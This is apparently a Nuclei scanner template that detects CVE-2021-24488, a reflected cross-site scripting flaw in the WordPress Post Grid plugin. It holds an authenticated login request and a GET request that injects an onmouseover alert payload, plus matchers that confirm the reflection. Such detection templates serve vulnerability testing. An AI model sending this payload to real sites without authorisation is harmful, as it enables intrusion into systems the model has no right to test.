id: CVE-2021-24488 info: name: WordPress Post Grid <2.1.8 - Cross-Site Scripting author: cckuailong severity: medium description: WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages, impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. remediation: | Update to the latest version of the WordPress Post Grid plugin (2.1.8 or higher) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/1fc0aace-ba85-4939-9007-d150960add4a - https://nvd.nist.gov/vuln/detail/CVE-2021-24488 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24488 cwe-id: CWE-79 epss-score: 0.00302 epss-percentile: 0.66181 cpe: cpe:2.3:a:pickplugins:post_grid:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: pickplugins product: post_grid framework: wordpress tags: authenticated,wpscan,cve,cve2021,xss,wp,wordpress,wp-plugin,pickplugins http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)// HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - 'value="\"onmouseover=alert(document.domain)/">' - 'Post Grid' condition: and - type: status status: - 200 # digest: 4a0a00473045022100fd27582dc3e1e079f762d7129d49660e6991c4e0e772cd5c09c65d1076b879100220725a93c579814e052e8b598d22e7785918d99faa3abd4b2999340e7dac26f497:922c64590222798bb761d5b6d8e72950